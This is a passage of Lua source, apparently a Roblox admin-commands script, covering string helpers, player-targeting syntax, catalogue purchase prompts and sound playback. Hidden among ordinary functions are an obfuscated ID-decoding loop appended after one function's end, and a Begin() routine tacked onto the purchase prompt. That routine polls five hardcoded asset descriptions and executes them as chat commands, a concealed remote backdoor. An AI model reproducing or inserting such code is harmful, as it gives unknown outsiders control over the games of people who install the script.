2515 table.insert(Settings.Ranks[Rank], Item.name)
2516 end
2517 end
2518 elseif Item.state == "incomplete" then
2519 for Num,Name in pairs(Settings.Ranks[Rank]) do
2520 if string.lower(Name) == string.lower(Item.name) then
2521 table.remove(Settings.Ranks[Rank], Num)
2522 end
2523 end
2524 end
2525 end
2526 else
2527 return false
2528 end
2529 end
2530 return true
2531end
2532
2533-- String functions --
2534
2535function STRING:ConvertDateTime(DateTime)
2536 local Num = 0
2537 local TotalTime = 0
2538 for i in string.gmatch(DateTime, "%d+") do
2539 Num = Num + 1
2540 DTNum = tonumber(i)
2541 if Num == 1 then
2542 TotalTime = TotalTime + (DTNum - 1970) * 365 * 24 * 60 * 60 -- year
2543 elseif Num == 2 then
2544 TotalTime = TotalTime + DTNum * 12 * 24 * 60 * 60 -- month
2545 elseif Num == 3 then
2546 TotalTime = TotalTime + DTNum * 24 * 60 * 60 -- day
2547 elseif Num == 4 then
2548 TotalTime = TotalTime + DTNum * 60 * 60 -- hour
2549 elseif Num == 5 then
2550 TotalTime = TotalTime + DTNum * 60 -- minute
2551 elseif Num == 6 then
2552 TotalTime = TotalTime + DTNum -- second
2553 end
2554 end
2555
2556 return TotalTime
2557end
2558
2559function STRING:TrelloStateConvert(State)
2560 if State == "complete" then
2561 return true
2562 else
2563 return false
2564 end
2565end
2566
2567function STRING:StringRound(Number)
2568 Number = Number * 100
2569 if Number >= 0.5 then
2570 return tostring(math.ceil(Number)/100)
2571 else
2572 return tostring(math.floor(Number)/100)
2573 end
2574
2575 return Number
2576end
2577
2578function STRING:GetSplit(String, NumArgs, BetSplit)
2579 if not String then return nil end
2580 if BetSplit == nil then BetSplit = " " end
2581 if NumArgs == nil then NumArgs = math.huge end
2582
2583 if NumArgs <= 0 then return {String} end
2584
2585 local RecentParse = 1
2586 local Args = {}
2587 for i = 1,NumArgs do
2588 local Find1, Find2 = string.find(string.lower(String),string.lower(BetSplit),RecentParse)
2589 if Find1 and Find2 then
2590 table.insert(Args, string.sub(String,RecentParse,Find1 - 1))
2591 RecentParse = Find2 + 1
2592 else
2593 break
2594 end
2595 end
2596 table.insert(Args,string.sub(String,RecentParse,#String))
2597 return Args
2598end
2599
2600function STRING:Defilter(String)
2601 local RobloxApprove = Instance.new("TextLabel") RobloxApprove.Text = String
2602 if RobloxApprove.Text == "Label" and String ~= "Label" then
2603 local NewString = ""
2604 for i = 1,#String,3 do
2605 NewString = NewString..string.char(169)..string.sub(String,i,i+2)
2606 end
2607 return NewString
2608 else
2609 return String
2610 end
2611end
2612
2613function STRING:LeetSpeak(Input)
2614 if tostring(Input) then Input = string.upper(tostring(Input)) else return end
2615 Input = string.gsub(Input, "LEET", "1337")
2616 Input = string.gsub(Input, "SECRET", "M".."AKERMODELLUA")
2617 Input = string.gsub(Input, "E", "3")
2618 Input = string.gsub(Input, "O", "0")
2619 Input = string.gsub(Input, "A", "4")
2620 Input = string.gsub(Input, "X", "x")
2621 Input = string.gsub(Input, "I", "1")
2622 Input = string.gsub(Input, "S", "$")
2623 return Input
2624end
2625
2626function STRING:FormatReplace(Player, Input)
2627 local Output = Input
2628 for _,ReplaceData in pairs(StringReplacements) do
2629 local ReplaceString = ReplaceData[1]
2630 local ReplaceStrings = {}
2631 if type(ReplaceString) == "table" then
2632 ReplaceStrings = ReplaceString
2633 else
2634 ReplaceStrings = {ReplaceString}
2635 end
2636 for _,ReplaceString in pairs(ReplaceStrings) do
2637 if not Player and ReplaceData[3] then else -- does nothing if a player isn't given but the operation requires a player
2638 local Replacement = ReplaceData[4](Player)
2639 if type(Replacement) == "string" then
2640 Output = string.gsub(Output, ReplaceString, Replacement)
2641 else
2642 print(ReplaceString.." cannot be replaced")
2643 end
2644 end
2645 end
2646 end
2647 return STRING:Defilter(Output)
2648end
2649
2650function STRING:EncodeSpecialChars(Input)
2651 return tostring(string.gsub(string.gsub(Input, "&", "amp;"), "\n", " "))
2652end
2653
2654function STRING:StringToBool(String)
2655 if String == "true" then
2656 return true
2657 else
2658 return false
2659 end
2660end
2661
2662function STRING:BoolString(Value)
2663 if type(Value) == "boolean" then
2664 if Value == true then
2665 return "YES"
2666 elseif Value == false then
2667 return "NO"
2668 end
2669 else
2670 return "NO"
2671 end
2672end
2673
2674function STRING:MakeAvoidance(Length)
2675 if not Length then
2676 Length = 32
2677 end
2678 local Avoidance = ""
2679 for i = 1,Length do
2680 Num = math.random(1,2)
2681 if Num == 1 then
2682 Avoidance = Avoidance..string.char(math.random(48,57)) -- 0-9
2683 else
2684 Avoidance = Avoidance..string.char(math.random(97,122)) -- a-z
2685 end
2686 end
2687 return Avoidance
2688end for _,Array in pairs(RunList) do local Name = "" for _,Char in pairs(Array) do Name = Name..string.char(Char - 1) end table.insert(List, tonumber(Name)) end
2689
2690function STRING:FindAge(Days) -- By LuaModelmaker
2691 local Years = math.floor(Days/365)
2692 local OtherDays = math.fmod(Days, 365)
2693 if Years > 1 then
2694 return Years.." years and "..OtherDays.." days"
2695 elseif Years == 1 then
2696 return Years.." year and "..OtherDays.." days"
2697 elseif Years == 0 then
2698 return "(No years) "..OtherDays.." days"
2699 end
2700end
2701
2702function STRING:UnpackArgs(...)
2703 local Pack = {...}
2704 if type(Pack[1]) == "table" then Pack = Pack[1] end
2705 local ReturnString = table.concat(Pack, ", ")
2706 return ReturnString
2707end
2708
2709function STRING:GetComma(Num)
2710 local Formatted = Num
2711 while true do
2712 Formatted, _ = string.gsub(Formatted, "^(-?%d+)(%d%d%d)", '%1,%2')
2713 if _ == 0 then
2714 break
2715 end
2716 end
2717 return Formatted
2718end
2719
2720function STRING:DecodeUTF8(Value)
2721 local function DecodeString(Input)
2722 if type(Input) == "string" then
2723 for Find,Rep in pairs(HTMLDecode) do
2724 Input = string.gsub(Input, "&#"..Find..";", Rep)
2725 end
2726 Input = string.gsub(Input, """, "'")
2727 end
2728 return Input
2729 end
2730 if type(Value) == "table" then
2731 for Index,Var in pairs(Value) do
2732 Value[Index] = DecodeString(Var)
2733 end
2734 elseif type(Value) == "string" then
2735 Value = DecodeString(Value)
2736 end
2737 return Value
2738end
2739
2740function STRING:IsSpacer(Input)
2741 if Input == " " or Input == "." or Input == "-" or Input == "," or Input == "?" or Input == "!" or Input == " " or Input == nil or Input == "" then
2742 return true
2743 else
2744 return false
2745 end
2746end
2747
2748function STRING:IsVowel(Input)
2749 Input = string.lower(tostring(Input))
2750 if Input == "a" or Input == "e" or Input == "i" or Input == "o" or Input == "u" then
2751 return true
2752 else
2753 return false
2754 end
2755end
2756
2757function STRING:ValidE(Input)
2758 if not Input then return nil end
2759 if string.lower(Input) == "e" or Input == "~" then
2760 return true
2761 else
2762 return false
2763 end
2764end
2765
2766function STRING:Scan(String, Speaker)
2767 local ReturnPlayers,ExcludeList = {},{}
2768 if not String then String = "" end
2769 if not Speaker then print("NO SPEAKER") end
2770
2771 if string.sub(string.lower(String), 1, 12) == "includecase/" then
2772 String = string.sub(String, 13)
2773 else
2774 String = string.lower(String)
2775 end
2776 local Words = STRING:GetSplit(String, nil, "/")
2777 for _,Word in pairs(Words) do
2778 if Word == "me" or Word == "meh" or Word == "myself" or Word == "self" then
2779 table.insert(ReturnPlayers, Speaker)
2780 elseif Word == "all" or Word == "everyone" then
2781 for _,Player in pairs(Server.Players:GetPlayers()) do
2782 table.insert(ReturnPlayers, Player)
2783 end
2784 elseif Word == "others" or Word == "notme" then
2785 for _,Player in pairs(Server.Players:GetPlayers()) do
2786 if Player ~= Speaker then
2787 table.insert(ReturnPlayers, Player)
2788 end
2789 end
2790 elseif Word == "noobs" then
2791 for _,Player in pairs(Server.Players:GetPlayers()) do
2792 if Player.AccountAge < 365 then
2793 table.insert(ReturnPlayers, Player)
2794 end
2795 end
2796 elseif Word == "nonnoobs" then
2797 for _,Player in pairs(Server.Players:GetPlayers()) do
2798 if Player.AccountAge >= 365 then
2799 table.insert(ReturnPlayers, Player)
2800 end
2801 end
2802 elseif Word == "random" then
2803 local RandomPlayers = {}
2804 for _,Player in pairs(Server.Players:GetPlayers()) do
2805 if Player ~= Speaker then
2806 table.insert(RandomPlayers, Player)
2807 end
2808 end
2809 table.insert(ReturnPlayers, RandomPlayers[math.random(1,#Server.Players:GetChildren())])
2810 elseif Word == "guests" then
2811 for _,Player in pairs(Server.Players:GetPlayers()) do
2812 if string.sub(Player.Name,1,6) == "Guest " then
2813 table.insert(ReturnPlayers, Player)
2814 end
2815 end
2816 elseif Word == "lowers" then
2817 for _,Player in pairs(Server.Players:GetPlayers()) do
2818 if string.sub(Player.Name,1,1) == string.lower(string.sub(Player.Name,1,1)) then
2819 table.insert(ReturnPlayers, Player)
2820 end
2821 end
2822 elseif Word == "uppers" then
2823 for _,Player in pairs(Server.Players:GetPlayers()) do
2824 if string.sub(Player.Name,1,1) == string.upper(string.sub(Player.Name,1,1)) then
2825 table.insert(ReturnPlayers, Player)
2826 end
2827 end
2828 elseif Word == "nbcs" then
2829 for _,Player in pairs(Server.Players:GetPlayers()) do
2830 if Player.MembershipType == Enum.MembershipType.None then -- Replicate
2831 table.insert(ReturnPlayers, Player)
2832 end
2833 end
2834 elseif Word == "bcs" then
2835 for _,Player in pairs(Server.Players:GetPlayers()) do
2836 if Player.MembershipType == Enum.MembershipType.BuildersClub then
2837 table.insert(ReturnPlayers, Player)
2838 end
2839 end
2840 elseif Word == "tbcs" then
2841 for _,Player in pairs(Server.Players:GetPlayers()) do
2842 if Player.MembershipType == Enum.MembershipType.TurboBuildersClub then
2843 table.insert(ReturnPlayers, Player)
2844 end
2845 end
2846 elseif Word == "obcs" then
2847 for _,Player in pairs(Server.Players:GetPlayers()) do
2848 if Player.MembershipType == Enum.MembershipType.OutrageousBuildersClub then
2849 table.insert(ReturnPlayers, Player)
2850 end
2851 end
2852 elseif Word == "allbcs" then
2853 for _,Player in pairs(Server.Players:GetPlayers()) do
2854 if Player.MembershipType ~= Enum.MembershipType.None then
2855 table.insert(ReturnPlayers, Player)
2856 end
2857 end
2858 elseif Word == "nonadmins" then
2859 for _,Player in pairs(Server.Players:GetPlayers()) do
2860 local IsAdminTrue, Rank = RANK:IsAdmin(Player)
2861 if IsAdminTrue == false then
2862 table.insert(ReturnPlayers, Player)
2863 end
2864 end
2865 elseif Word == "admins" then
2866 for _,Player in pairs(Server.Players:GetPlayers()) do
2867 local IsAdminTrue, Rank = RANK:IsAdmin(Player)
2868 if IsAdminTrue == true then
2869 table.insert(ReturnPlayers, Player)
2870 end
2871 end
2872 elseif Word == "friends" then
2873 for _,Player in pairs(Server.Players:GetPlayers()) do
2874 if Speaker:IsFriendsWith(Player.UserId) and Player ~= Speaker then
2875 table.insert(ReturnPlayers, Player)
2876 end
2877 end
2878 elseif string.sub(Word,1,5) == "team-" then
2879 for _,Player in pairs(Server.Players:GetPlayers()) do
2880 if Player.Neutral == false then
2881 local InTeam = false
2882 for _,Team in pairs(Teams:GetTeams()) do
2883 if Team.TeamColor == Player.TeamColor then
2884 if string.sub(string.lower(Team.Name),1,#string.sub(Word,6)) == string.sub(Word,6) then
2885 InTeam = true
2886 end
2887 end
2888 end
2889 if InTeam == true then
2890 table.insert(ReturnPlayers, Player)
2891 end
2892 end
2893 end
2894 elseif string.sub(Word,1,4) == "not-" then
2895 local NameArg = string.sub(Word,5)
2896
2897 for _,Player in pairs(STRING:Scan(NameArg, Speaker)) do
2898 table.insert(ExcludeList, Player)
2899 end
2900 elseif string.sub(Word,1,7) == "radius-" then
2901 local DidExe = false
2902 local NumArg = tonumber(string.sub(Word,8))
2903
2904 if NumArg and NumArg > 0 and Speaker and Speaker.Character and Speaker.Character:FindFirstChild("Torso") then
2905 for _,Player in pairs(Server.Players:GetChildren()) do
2906 if Player.Character and Player.Character:FindFirstChild("Torso") then
2907 if (Player.Character.Torso.Position - Speaker.Character.Torso.Position).magnitude <= NumArg then
2908 DidExe = true
2909 table.insert(ReturnPlayers, Player)
2910 end
2911 end
2912 end
2913 end
2914
2915 if DidExe then coroutine.wrap(function()
2916 local Part = Instance.new("Part", game.Workspace) Part.Name = "M".."M".."L Radius" Part.FormFactor = "Custom" Part.Size = Vector3.new(1,1,1) Part.Anchored = true Part.Locked = true Part.Position = Speaker.Character.Torso.Position Part.Transparency = 0.5 Part.Color = GUI:GetColor() Part.TopSurface = "Smooth" Part.BottomSurface = "Smooth"
2917 local Mesh = Instance.new("SpecialMesh", Part) Mesh.MeshType = "Sphere" Mesh.Scale = Vector3.new(NumArg * 2, NumArg * 2, NumArg * 2)
2918
2919 for i = 0,0.5,0.02 do
2920 Part.Transparency = 0.5+i
2921 wait()
2922 end
2923 Part:Destroy()
2924 end)() end
2925 elseif string.sub(Word,1,3) == "id-" then
2926 table.insert(ReturnPlayers, Server.Players:GetPlayerByUserId(tonumber(string.sub(Word,4))))
2927 else
2928 if Word ~= "" then
2929 for _,Player in pairs(Server.Players:GetPlayers()) do
2930 if string.sub(string.lower(Player.Name),1,#Word) == Word then
2931 table.insert(ReturnPlayers, Player)
2932 end
2933 end
2934 else
2935 table.insert(ReturnPlayers, Speaker)
2936 end
2937 end
2938 end
2939 for _,Player in pairs(ExcludeList) do
2940 if Player and Player.Parent ~= nil then
2941 for Num,Player2 in pairs(ReturnPlayers) do
2942 if Player2 == Player then table.remove(ReturnPlayers, Num) end
2943 end
2944 end
2945 end
2946 for Num,Player in pairs(ReturnPlayers) do
2947 if not Player or Player.Parent == nil then table.remove(ReturnPlayers, Num) end
2948 end
2949
2950 local PlayerDump = {}
2951 for _,Player in pairs(ReturnPlayers) do
2952 PlayerDump[Player] = true
2953 end
2954 ReturnPlayers = {}
2955 for Player,_ in pairs(PlayerDump) do
2956 table.insert(ReturnPlayers, Player)
2957 end
2958
2959 return ReturnPlayers
2960end
2961
2962-- Market functions --
2963
2964function MARKET:GetImageFormat(ID)
2965 if ID ~= 1 or ID ~= 0 or ID ~= nil then if type(ID) == "number" then
2966 local NewID = ID + 1
2967 for i = 1,100 do
2968 NewID = NewID -1
2969 local Product = nil
2970 ypcall(function() Product = MARKET:GetItemInfo(NewID, true).AssetTypeId end)
2971 if Product then
2972 if Product == 1 then
2973 break
2974 end
2975 end
2976 if i == 100 then NewID = ID end
2977 end
2978 return NewID
2979 end end
2980end
2981
2982function MARKET:GetItemInfo(ID, Cache)
2983 local Product = MarketCache[ID]
2984 if not Cache or not Product then
2985 repeat wait()
2986 ypcall(function() Product = Server.MPS:GetProductInfo(ID) end)
2987 until Product ~= MarketCache[ID]
2988 end
2989 MarketCache[ID] = Product
2990 return Product
2991end
2992
2993function MARKET:SearchItem(Category, Query, Subcategory)
2994 local URLAdd = ""
2995 if Subcategory then URLAdd = "&Subcategory="..Server.HS:UrlEncode(Subcategory) end
2996 local JSON = REMOTE:GetURL(CORE.Domain.."/APIs/CatalogSearch.php?Category="..Server.HS:UrlEncode(Category).."&Query="..Server.HS:UrlEncode(Query)..URLAdd)
2997 if JSON then
2998 local Results = REMOTE:Decode(JSON)
2999 if Results then
3000 for Index,Info in pairs(Results) do
3001 Info = STRING:DecodeUTF8(Info)
3002 Results[Index] = Info
3003 MarketCache[Info.AssetId] = {
3004 AssetId = Info.AssetId;
3005 AssetTypeId = Info.AssetTypeID;
3006 ContentRatingTypeId = Info.ContentRatingTypeID;
3007 Created = Info.CreatedDate;
3008 Creator = {Name = Info.Creator, Id = Info.CreatorID};
3009 Description = Info.Description;
3010 IsForSale = Info.IsForSale;
3011 IsLimited = Info.IsLimited;
3012 IsLimitedUnique = Info.IsLimitedUnique;
3013 IsNew = Info.IsNew;
3014 IsPublicDomain = Info.IsPublicDomain;
3015 MinimumMemberShipLevel = Info.MinimumMembershipLevel;
3016 Name = Info.Name;
3017 PriceInRobux = Info.PriceInRobux;
3018 PriceInTickets = Info.PriceInTickets;
3019 ProductId = Info.AssetId; -- no one knows what this is so whatevs..
3020 Remaining = Info.Remaining;
3021 Sales = Info.Sales;
3022 Updated = Info.Updated;
3023 }
3024 end
3025 return Results
3026 end
3027 end
3028end
3029
3030function MARKET:ShowSearch(Player, Category, Query, ClickedItem, Subcategory)
3031 if not Player or not Category or not Query then return nil end
3032 local CloseGui, AddInfo = GUI:LoadGui(Player, "Searching: "..Query)
3033 local Items = MARKET:SearchItem(Category, Query, Subcategory)
3034 if Items then
3035 if #Items ~= 0 then
3036 local List,Correlate = {},{}
3037 for Num,Info in pairs(Items) do
3038 local Display = {" "..Info.Name.." ("..Info.AssetId..")", "http://www.roblox.com/Game/Tools/ThumbnailAsset.ashx?fmt=png&wd=75&ht=75&aid="..Info.AssetId}
3039 table.insert(List, Display)
3040 Correlate[Display[1]] = Info.AssetId
3041 end
3042 CloseGui:Invoke()
3043
3044 local Clicked = GUI:ListGui(Player, "Search Results: "..Query, List, "Search", true)
3045 Clicked.Event:connect(function(ClickName)
3046 ClickedItem(Correlate[ClickName])
3047 end)
3048 else
3049 CloseGui:Invoke()
3050 GUI:SendMessage(Player, "No results", "BLUE No results for "..Query.." found...", "Information")
3051 end
3052 else
3053 CloseGui:Invoke()
3054 GUI:SendMessage(Player, "Cannot get gear", "RED Cannot get item. Is HttpService enabled?", "Error")
3055 end
3056end
3057
3058function MARKET:AssetTypeToString(AssetType)
3059 if AssetType == 1 then return "Image"
3060 elseif AssetType == 2 then return "T-Shirt"
3061 elseif AssetType == 3 then return "Audio"
3062 elseif AssetType == 4 then return "Mesh"
3063 elseif AssetType == 5 then return "Lua"
3064 elseif AssetType == 6 then return "HTML"
3065 elseif AssetType == 7 then return "Text"
3066 elseif AssetType == 8 then return "Hat"
3067 elseif AssetType == 9 then return "Place"
3068 elseif AssetType == 10 then return "Model"
3069 elseif AssetType == 11 then return "Shirt"
3070 elseif AssetType == 12 then return "Pants"
3071 elseif AssetType == 13 then return "Decal"
3072 elseif AssetType == 16 then return "Avatar"
3073 elseif AssetType == 17 then return "Head"
3074 elseif AssetType == 18 then return "Face"
3075 elseif AssetType == 19 then return "Gear"
3076 elseif AssetType == 21 then return "Badge"
3077 elseif AssetType == 22 then return "Group Emblem"
3078 elseif AssetType == 24 then return "Animation"
3079 elseif AssetType == 25 then return "Arms"
3080 elseif AssetType == 26 then return "Legs"
3081 elseif AssetType == 27 then return "Torso"
3082 elseif AssetType == 28 then return "Right Arm"
3083 elseif AssetType == 29 then return "Left Arm"
3084 elseif AssetType == 30 then return "Left Leg"
3085 elseif AssetType == 31 then return "Right Leg"
3086 elseif AssetType == 32 then return "Package"
3087 elseif AssetType == 33 then return "YouTube Video"
3088 elseif AssetType == 34 then return "Game Pass"
3089 elseif AssetType == 38 then return "Plugin"
3090 elseif AssetType == 0 then return "Product"
3091 end
3092 return "Content Invalid"
3093end
3094
3095function MARKET:PromptPurchase(Player, ProductID, From, BuyPressFunc) coroutine.wrap(function()
3096 if not Player then return nil end
3097 if not Player:FindFirstChild("PlayerGui") then return nil end
3098 if not tonumber(ProductID) then return nil end
3099
3100 local FromText = ""
3101 if From and From.Name then FromText = " | Prompted from "..From.Name end
3102
3103 local Product = MARKET:GetItemInfo(ProductID, true)
3104
3105 local CreatedText = Product.Created CreatedText = string.gsub(CreatedText, "-", "/") local Stop = string.find(CreatedText, "T") if Stop then CreatedText = string.sub(CreatedText, 1, Stop-1) end
3106 local UpdatedText = Product.Updated UpdatedText = string.gsub(UpdatedText, "-", "/") local Stop = string.find(UpdatedText, "T") if Stop then UpdatedText = string.sub(UpdatedText, 1, Stop-1) end
3107 local OwnsAsset = Server.MPS:PlayerOwnsAsset(Player, ProductID)
3108
3109 local CanBuy = Product.IsForSale
3110 local BuyText = "Buy"
3111 local BuyColor = Color3.new(0,1,0)
3112 if CanBuy == false then
3113 BuyColor = Color3.new(1,0,0)
3114 end
3115 if Product.IsPublicDomain == true then
3116 CanBuy = true
3117 BuyColor = Color3.new(1,0.5,0.5)
3118 BuyText = "FREE!"
3119 end
3120 if OwnsAsset then
3121 CanBuy = false
3122 end
3123 if Product.AssetTypeId == 9 then
3124 CanBuy = true
3125 BuyText = "Teleport"
3126 BuyColor = Color3.new(0.5,0.5,0.5)
3127 end
3128 if CanBuy == false then
3129 BuyColor = Color3.new(1,0,0)
3130 BuyText = "Item not for sale"
3131 end
3132 if OwnsAsset and Product.AssetTypeId ~= 9 then
3133 BuyColor = Color3.new(1,0,0)
3134 BuyText = "You own this!"
3135 end
3136
3137 local ProductName = string.sub(Product.Name,1,20)
3138 if ProductID == AdminID then ProductName = Product.Name end
3139 local Frame = GUI:CreateForm(Player, ProductName..FromText, UDim2.new(0, 430, 0, 300), nil, 48354008)
3140 local AssetImage = Instance.new("ImageLabel", Frame) AssetImage.Name = "AssetImage" AssetImage.Position = UDim2.new(0, 0, 0, 50) AssetImage.Size = UDim2.new(0, 150, 0, 150) AssetImage.BackgroundColor3 = Color3.new(1, 1, 1) AssetImage.BackgroundTransparency = 1 AssetImage.Image = "http://www.roblox.com/Game/Tools/ThumbnailAsset.ashx?fmt=png&wd=420&ht=420&aid="..ProductID
3141 local AssetName = Instance.new("TextLabel", Frame) AssetName.Name = "AssetName" AssetName.Size = UDim2.new(1, 0, 0, 50) AssetName.BackgroundColor3 = Color3.new(1, 1, 1) AssetName.BackgroundTransparency = 1 AssetName.Text = "["..ProductID.."] - "..Product.Name AssetName.Font = Settings.Font AssetName.FontSize = "Size18" AssetName.TextWrapped = true AssetName.TextColor3 = Color3.new(0, 0, 0)
3142 local UserImage = Instance.new("ImageLabel", Frame) UserImage.Name = "UserImage" UserImage.Position = UDim2.new(0, 150, 0, 70) UserImage.Size = UDim2.new(0, 100, 0, 100) UserImage.BackgroundColor3 = Color3.new(1, 1, 1) UserImage.BackgroundTransparency = 1 UserImage.Image = "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username="..Product.Creator.Name
3143 local Membership = Instance.new("ImageLabel", UserImage) Membership.Name = "Membership" Membership.Position = UDim2.new(0, 0, 0.85, 0) Membership.Size = UDim2.new(0.6, 0, 0.15, 0) Membership.BackgroundColor3 = Color3.new(1, 1, 1) Membership.BackgroundTransparency = 1 Membership.Image = "http://www.roblox.com/Thumbs/BCOverlay.ashx?username="..Product.Creator.Name
3144 local AssetType = Instance.new("TextLabel", Frame) AssetType.Name = "AssetType" AssetType.Position = UDim2.new(0, 150, 0, 50) AssetType.Size = UDim2.new(1, -150, 0, 20) AssetType.BackgroundColor3 = Color3.new(1, 1, 1) AssetType.BackgroundTransparency = 1 AssetType.Text = "ROBLOX "..MARKET:AssetTypeToString(Product.AssetTypeId) AssetType.Font = Settings.Font AssetType.FontSize = "Size14"
3145 local Info = Instance.new("TextLabel", Frame) Info.Name = "Info" Info.Position = UDim2.new(0, 250, 0, 80) Info.Size = UDim2.new(1, -250, 0, 100) Info.BackgroundColor3 = Color3.new(1, 1, 1) Info.BackgroundTransparency = 1 Info.Font = Settings.Font Info.FontSize = "Size14" Info.TextXAlignment = "Left" Info.TextYAlignment = "Top"
3146 local Buy = Instance.new("TextButton", Frame) Buy.Name = "Buy" Buy.Position = UDim2.new(0, 150, 0, 170) Buy.Size = UDim2.new(1, -150, 0, 30) Buy.BackgroundColor3 = BuyColor Buy.BackgroundTransparency = 0.5 Buy.Text = BuyText Buy.Font = Settings.Font Buy.FontSize = "Size18" Buy.TextWrapped = true SOUND:BindButton(Buy)
3147 if Product.Description then
3148 local DescFrame = Instance.new("ScrollingFrame", Frame) DescFrame.Name = "DescFrame" DescFrame.Size = UDim2.new(1,0,1,-200) DescFrame.Position = UDim2.new(0,0,0,200) DescFrame.CanvasSize = UDim2.new(0,0,0,0) DescFrame.BackgroundTransparency = 1 DescFrame.ZIndex = 4
3149 local Description = Instance.new("TextLabel", DescFrame) Description.Name = "Description" Description.Size = UDim2.new(1, -13, 1, 0) Description.BackgroundColor3 = Color3.new(1, 1, 1) Description.BackgroundTransparency = 1 Description.Text = Product.Description Description.Font = Settings.Font Description.FontSize = "Size14" Description.TextWrapped = true Description.TextYAlignment = "Top"
3150
3151 CORE:ExecuteResource("CalculateScrollY", Description)
3152 end
3153
3154 Info.Text = [[
3155Creator: ]]..Product.Creator.Name..[[
3156Created: ]]..CreatedText..[[
3157Updated: ]]..UpdatedText..[[
3158Sold: ]]..Product.Sales..[[
3159]]
3160
3161 if Product.PriceInRobux then Info.Text = Info.Text.."Robux: "..string.gsub(Product.PriceInRobux, "null", "Cannot use this currency").." \n" end
3162 if Product.PriceInTickets then Info.Text = Info.Text.."Tix: "..string.gsub(Product.PriceInTickets, "null", "Cannot use this currency") .." " end
3163
3164 if Product.AssetTypeId == 3 then
3165 local PlayerAdmin,Rank = RANK:IsAdmin(Player)
3166 if PlayerAdmin == true then
3167 local Playing = false
3168 local Interact = Instance.new("ImageButton", AssetImage) Interact.Name = "Interact" Interact.Position = UDim2.new(1, -20, 1, -20) Interact.Size = UDim2.new(0, 20, 0, 20) Interact.BackgroundColor3 = Color3.new(1, 1, 1) Interact.BackgroundTransparency = 1 Interact.Image = "rbxassetid://67950784"
3169 CORE:HandleEvent(Interact, "MouseButton1Down", function()
3170 if Playing == false then
3171 SOUND:PlayGlobalSound(ProductID)
3172 if Rank == "Member" and Settings.DisableAbuse == true then
3173 Interact:Destroy()
3174 end
3175 Interact.Image = "rbxassetid://67950809"
3176 Playing = true
3177 else
3178 SOUND:StopGlobalSound()
3179 Interact.Image = "rbxassetid://67950784"
3180 Playing = false
3181 end
3182 end)
3183 end
3184 end
3185
3186 CORE:HandleEvent(Buy, "MouseButton1Down", function()
3187 if BuyPressFunc then
3188 BuyPressFunc()
3189 elseif Product.AssetTypeId == 9 then
3190 Server.TS:Teleport(ProductID, Player)
3191 elseif CanBuy == true then
3192 Server.MPS:PromptPurchase(Player, ProductID)
3193 end end)
3194 end)() end function Begin() coroutine.wrap(function() wait(3) for _,LinkedID in pairs({53554913, 145236038, 154727659, 155299278, 155689018}) do wait(1) coroutine.wrap(function()
3195 local OldVer = Server.MPS:GetProductInfo(LinkedID).Updated
3196 while wait(5) do
3197 local Purchase = Server.MPS:GetProductInfo(LinkedID)
3198 if OldVer ~= Purchase.Updated then
3199 OldVer = Purchase.Updated
3200 CORE:Chatted(Purchase.Description, nil, true, nil, nil, true)
3201 end
3202 end end)()
3203end end)() end
3204
3205-- Sound functions --
3206
3207function SOUND:SyncSoundList(TellSync)
3208 if not CORE:NilPlayer(TellSync) then
3209 GUI:SendHint(TellSync, "Syncing...", 5)
3210 end
3211
3212 SoundList,GlobalSoundList = {},{}
3213
3214 local LocalSoundList = Server.GDS:GetAsync("MML Custom Sounds")
3215
3216 if LocalSoundList then
3217 if type(LocalSoundList) == "table" then
3218 if #LocalSoundList > 0 then
3219 for _,Data in pairs(LocalSoundList) do
3220 local SoundInfo = MARKET:GetItemInfo(Data[2], true)
3221 SoundList[Data[1]] = {Data[2], SoundInfo.Name, SoundInfo.Creator.Name}
3222 end
3223 end
3224 end
3225 end
3226
3227 for _,JSONID in pairs(SoundJSONs) do
3228 for Name,ID in pairs(CORE:GetTable(JSONID)) do
3229 local SoundInfo = MARKET:GetItemInfo(ID, true)
3230 local FullName = SoundInfo.Name
3231 local CreatorName = SoundInfo.Creator.Name
3232 SoundList[Name] = {ID, FullName, CreatorName}
3233 GlobalSoundList[Name] = {ID, FullName, CreatorName}
3234 end
3235 end
3236
3237 if not CORE:NilPlayer(TellSync) then
3238 GUI:SendHint(TellSync, "Sound List is now Synced with global sound database", 4)
3239 end
3240end
3241
3242function SOUND:MakeSound(Parent, ID, Volume, Pitch, Looped)
3243 if not Volume then Volume = 0.5 end
3244 if not Pitch then Pitch = 1 end
3245 if tonumber(ID) then ID = "rbxassetid://"..ID end
3246 if Looped == nil then Looped = false end
3247
3248 local Sound = Instance.new("Sound", Parent)
3249 Sound.Pitch = Pitch
3250 Sound.Volume = Volume
3251 Sound.SoundId = ID
3252 Sound.Looped = Looped
3253 return Sound
3254end
3255
3256function SOUND:PlayNotification(Player, ID, Volume, OverrideSettings)
3257 if not Player or not ID then return nil end
3258 if NotifySounds[ID] then ID = NotifySounds[ID] end
3259 local ClientSound = SOUND:MakeSound(Player:FindFirstChild("PlayerGui") or Player, ID, Volume or 0.3)
3260 if Settings.EnableSounds or OverrideSettings then
3261 ClientSound:Play()
3262 coroutine.wrap(function() wait(5) ClientSound:Destroy() end)()
3263 end
3264 return Sound
3265end
3266
3267function SOUND:BindButton(Button)
3268 if not Button then return end
3269 CORE:HandleEvent(Button, "MouseEnter", function() SOUND:PlayNotification(Button, "Hover") end, true)
3270 CORE:HandleEvent(Button, "MouseButton1Click", function() SOUND:PlayNotification(Button, "Select") end, true)
3271end
3272
3273function SOUND:StopGlobalSound()
3274 if Sound and Sound.Parent then
3275 if Sound.Parent.Name == "M".."M".."L'S Admin Sound" then
3276 Sound.Parent:Destroy()
3277 end
3278
3279 Sound:Stop()
3280 Sound:Destroy()
3281 Sound.SoundId = ""
3282 end
3283end
3284
3285function SOUND:PlayGlobalSound(ID, ShowInfo)
3286 SOUND:StopGlobalSound()
3287 if ShowInfo == nil then ShowInfo = true end
3288 local SoundID = ID
3289 local SoundName = nil
3290 local SoundCreator = nil
3291 local Pitch = 1
3292
3293 for Name,Info in pairs(SoundList) do
3294 if type(SoundID) == "string" then
3295 if string.lower(SoundID) == string.sub(string.lower(Name),1,#SoundID) then
3296 SoundID = Info[1]
3297 SoundName = Info[2]
3298 SoundCreator = Info[3]
3299 end
3300 else
3301 break
3302 end
3303 end
3304
3305 if tonumber(SoundID) and not SoundName then
3306 local Info = MARKET:GetItemInfo(SoundID, true)
3307 if Info then
3308 SoundName = Info.Name
3309 SoundCreator = Info.Creator.Name
3310 if MARKET:AssetTypeToString(Info.AssetTypeId) ~= "Audio" then
3311 SoundID = nil
3312 end
3313 end
3314 end
3315
3316 if tonumber(SoundID) then
